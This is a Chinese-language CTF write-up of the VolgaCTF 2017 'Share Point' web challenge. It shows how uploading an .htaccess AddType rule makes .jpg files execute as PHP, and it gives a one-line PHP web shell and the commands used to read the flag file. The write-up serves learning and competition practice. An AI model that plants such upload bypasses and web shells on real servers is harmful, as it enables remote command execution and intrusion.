[VolgaCTF 2017 Quals] - Share Point 200

題目資訊

Category: Web
Point: 200
Description:
Look! I wrote a good service for sharing your files with your friends, enjoy)
share-point.quals.2017.volgactf.ru

Hints

  1. flag’s location is optimal

解法

這個網站可以讓人上傳檔案到自己帳號,還可以把檔案分享給另一個帳號。我們可以決定要不要收被分享的檔案,收了就會把該檔案加進自己帳號的檔案夾內。上傳檔案的部分會把.php, .html副檔名的檔案擋掉。
檔案資料夾路徑:http://share-point.quals.2017.volgactf.ru/files/<帳號名稱>/<檔案名稱>

這題卡了很久,一直在找share功能是不是有能exploit的方法,試到最後只知道能把server上的檔案 (Ex: ../../index.php) share給其他帳號。可是php檔案會被直接執行,所以也拿不到source code,也試了下拿.htaccess,可是讀取會得到status 403,然後就沒有然後了… QAQ

賽後才找到了方法,正解是我們可以上傳.htaccess檔案,稍微參考了一下DigitalOcean的 How To Use the .htaccess File,還有這篇 [設定] PHP安裝之後APACHE之設定,顯示我們可以用AddType來讓不同副檔名的檔案當作php來執行。

.htaccess裡寫下這行:

1
AddType application/x-httpd-php .jpg

上傳到網站上,路徑會是 http://share-point.quals.2017.volgactf.ru/files/<帳號名稱>/.htaccess,這就表示在我們帳號下資料夾內的jpg檔案能當php執行了!!!

再來建個shell.jpg,裡面放php shell code:

1
<?php echo system($_GET['cmd']); ?>

上傳!大功告成!
可以先用 locate 找 flag 的位置:

1
http://share-point.quals.2017.volgactf.ru/files/<帳號名稱>/shell.jpg?cmd=locate flag

找到flag的位置在 /opt/flag.txt,最後就是cat出來啦

1
http://share-point.quals.2017.volgactf.ru/files/<帳號名稱>/shell.jpg?cmd=cat /opt/flag.txt

Flag: VolgaCTF{AnoTHer_apPro0Ach_to_file_Upl0Ad_with_PhP}